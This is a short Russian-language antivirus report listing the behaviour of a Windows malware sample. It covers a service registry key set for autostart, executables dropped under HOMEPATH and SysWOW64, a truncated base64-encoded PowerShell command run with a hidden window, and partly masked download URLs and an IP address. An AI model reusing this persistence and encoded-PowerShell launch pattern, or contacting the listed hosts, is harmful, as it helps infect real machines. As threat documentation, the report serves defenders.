Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\WPDShServiceObj] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\WPDShServiceObj] 'ImagePath' = '"%WINDIR%\SysWOW64\drmmgrtn\WPDShServiceObj.exe"'
- 'WPDShServiceObj' "%WINDIR%\SysWOW64\drmmgrtn\WPDShServiceObj.exe"
- 'WPDShServiceObj' %WINDIR%\SysWOW64\drmmgrtn\WPDShServiceObj.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABXAHUAawBkAGYAaQAzAD0AKAAnAFMAcQAnACsAKAAnAHAAJwArACcAOQBpAHQAJwApACsAJwBzACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAGUAUgBQAHIATwBmAGkAbABFAFwAcABUAD...
- %HOMEPATH%\pt16vi6\bpmi5as\x5w6zls.exe
- %WINDIR%\syswow64\drmmgrtn\wpdshserviceobj.exe
- %HOMEPATH%\pt16vi6\bpmi5as\x5w6zls.exe в %WINDIR%\syswow64\drmmgrtn\wpdshserviceobj.exe
- '75.#0.124.4':80
- http://www.yu###elife.com/wp/ure/
- http://75.#0.124.4/Dw95PhBuy4Q/NmD655EDZw/qwFbhVjjuwj/XbCmbeV/
- DNS ASK yu###elife.com
- '%HOMEPATH%\pt16vi6\bpmi5as\x5w6zls.exe'
- '%WINDIR%\syswow64\drmmgrtn\wpdshserviceobj.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABXAHUAawBkAGYAaQAzAD0AKAAnAFMAcQAnACsAKAAnAHAAJwArACcAOQBpAHQAJwApACsAJwBzACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAGUAUgBQAHIATwBmAGkAbABFAFwAcABUAD...' (со скрытым окном)